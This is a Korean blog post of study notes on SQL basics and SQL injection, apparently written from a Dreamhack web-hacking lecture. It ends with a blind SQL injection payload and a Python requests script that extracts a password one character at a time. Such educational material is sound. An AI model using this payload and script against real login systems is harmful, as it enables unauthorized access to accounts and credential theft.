壓倒
Ye0L
壓倒
Total
Home
Today
  • ByO (59)
    • 악성코드분석🍳 (10)
      • Android (2)
      • Windows (8)
    • 백준⌨ (1)
    • 개발💻 (14)
      • Python (14)
      • C (0)
    • AI (2)
      • ML (2)
      • DL (0)
    • Dreamhack (23)
      • Web hacking (20)
      • Reversing (3)
    • CTF (5)
      • Forensic (5)
    • Study (4)
      • Linux (2)
      • Web (2)

블로그 메뉴

  • 홈
  • 방명록
  • 깃허브😀
  • 티스토리 홈

공지사항

인기 글

태그

  • Crawling
  • Raccoon Stealer v2
  • Raccoon Stealer
  • Background:Web Browser
  • dreamhack
  • web hacking
  • forensic
  • 드림핵
  • 크롤링
  • PYTHON
  • selenium
  • File Download Vulnerability
  • [DigitalForensic]with CTF
  • 악성코드분석
  • CSRF
  • ClientSide: XSS
  • 리버싱
  • APK 구조
  • Background: Cookie & Session
  • reversing

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
壓倒

Ye0L

Dreamhack/Web hacking

SQL Injection

2023. 1. 21. 19:29

해당 포스팅은 https://dreamhack.io/lecture/roadmaps/1?obj=14를 참고하여 작성하였으며 공부 목적으로 작성하였습니다.

DBMS(데이터베이스 관리 시스템)


정의

웹 서비스는 데이터베이스에 고객 정보, 기업 내 정보 등 많은 정보를 저장한다. 이러한 데이터를 관리하기 위해 사용하는 것이 DBMS(DataBase Management System)이다. DBMS는 새로운 정보를 기록하거나, 기록된 내용을 수정, 삭제하는 역할을 한다.

구분

DBMS는 크게 관계형과 비관계형으로 분류하고 대표적인 DBMS는 다음과 같다.

종류대표적인 DBMS
Relational(관계형)MySQL, MariaDB, PostgreSQL, SQLite
Non-Relational(비관계형)MongoDB, CouchDB, Redis
관계형 DBMS와 비관계형 DBMS? 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장하는 것이고 비관계형은 테이블 형식이 아닌 Key-Value 형태로 값을 저장하는 것이다.

SQL


SQL(Structured Query Language)는 RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어이다. SQL은 구조화된 형태를 띄며 DBMS와 상호작용할 때 사용된다.

RDBMS(Relational DBMS) 12가지 규칙을 정의하여 생성한 데이터베이스 모델로 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고 관계 연산자를 정의하는 모델이다.
언어설명
DDL(Data Definition Language)데이터를 정의하기 위한 언어로 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행한다.
DML(Data Manipulation Language)데이터를 조작하기 위한 언어로 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행한다.
DCL(Data Control Language)데이터베이스의 접근 권한 등의 설정을 하기 위한 언어로 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE가 대표적이다.

DDL


일반적으로 DB내 존재하는 데이터를 다루기 위해서는 DB와 테이블을 생성해야 하며, 이때 DDL(Data Definition Language)가 사용된다. DLL의 CREATE 명령을 사용해서 새로운 DB를 생성하는 예시는 다음과 같다.

CREATE DATABASE Dreamhack;

DB를 생성 후 Table를 생성하는 명령어는 다음과 같다.

USE Dreamhack;
# Board 이름을 가진 테이블 생성
CREATE TABLE Board(
	idx INT AUTO_INCREMENT, # 내부 구조 선언
	boardTitle VARCHAR(100) NOT NULL,
	boardContent VARCHAR(2000) NOT NULL,
	PRIMARY KEY(idx)
);

DML


DML은 주로 생성된 테이블에 데이터를 추가(INSERT), 조회(SELECT) 그리고 수정(UPDATE)하기 위해 사용되며 테이블 데이터의 생성 예시는 다음과 같다.

INSERT INTO 
  Board(boardTitle, boardContent, createdDate) 
Values(
  'Hello',  # boardTitle
  'World !', # boardContent
  Now() # createdDate
);

테이블 데이터 조회 쿼리문은 다음과 같다.

SELECT 
  boardTitle, boardContent
FROM
  Board
Where
  idx=1;

테이블 데이터 변경 쿼리문은 다음과 같다.

UPDATE Board SET boardContent='DreamHack!' 
  Where idx=1;

SQL Injection


SQL Injection은 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식으로 간단히 말해, 공격자가 SQL 쿼리문을 사용하여 공격자가 원하는 행위를 수행하는 공격 방식이다. SQL 쿼리문이 요청될 경우 서버에서는 공격자의 요청을 일반적인 요청으로 해석하여 처리하기 때문에 피해가 발생한다.

간단한 예시를 살펴보자. 일반적으로 아이디가 dreamhack이고 비밀번호가 password인 데이터를 조회하는 쿼리문은 다음과 같다.

SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'

공격자가 SQL Injection을 사용하여 쿼리문을 조작하고 아이디가 admin인 데이터를 조회하는 쿼리문은 다음과 같다.

SELECT * FROM accounts WHERE user_id='admin'

Blind SQL Injection


데이터 베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL Injection 공격기법으로 스무고개와 비슷하게 원하는 정보를 직접적으로 알 수 없더라고 여러 조건문(참, 거짓)을 통해 정보를 수집하는 공격이다.

아이디가 admin이고 비밀번호가 test 인 계정이 있다고 가정하자. 해당 계정에 Blind SQL Injection 공격을 수행하면 다음과 같이 진행된다.

‘비밀번호 첫 자리가 a 인가?’ → False, ‘비밀번호 첫 자리가 b인가?

Blind SQL Injection ‘비밀번호 첫 자리가 a 인가?’ → False ‘비밀번호 첫 자리가 b인가?’ → Fasle . . . ’비밀번호 첫 자리가 t인가?’ → True

Blind SQL Injection의 경우 한 바이트씩 비교하여 공격하는 방식이기 때문에 비교적 시간이 많이 걸린다. 이러한 문제를 해결하기 위해 자동화 스크립트를 작성하는 방법이 존재하고 대표적으로 Python의 requests 모듈이 존재한다.

Blind SQL Injection 공격 스크립트 예시(dreamhack)는 다음과 같다.

import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20): # 패스워드 길이만큼 반복
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

오류, 잘못된 점 또는 궁금한 점이 있으시다면 댓글 남겨주세요❗


Uploaded by N2T

'Dreamhack > Web hacking' 카테고리의 다른 글

비관계형 데이터 베이스 그리고 NoSQL Injection  (0) 2023.01.30
simple-sqli Write-Up  (0) 2023.01.23
csrf-2 Write-Up  (0) 2023.01.21
csrf-1 Write-Up  (0) 2023.01.21
ClientSide:CSRF  (0) 2023.01.20
    'Dreamhack/Web hacking' 카테고리의 다른 글
    • 비관계형 데이터 베이스 그리고 NoSQL Injection
    • simple-sqli Write-Up
    • csrf-2 Write-Up
    • csrf-1 Write-Up
    壓倒
    壓倒
    악성코드 분석, 개발, 백준 등 나의 일지

    티스토리툴바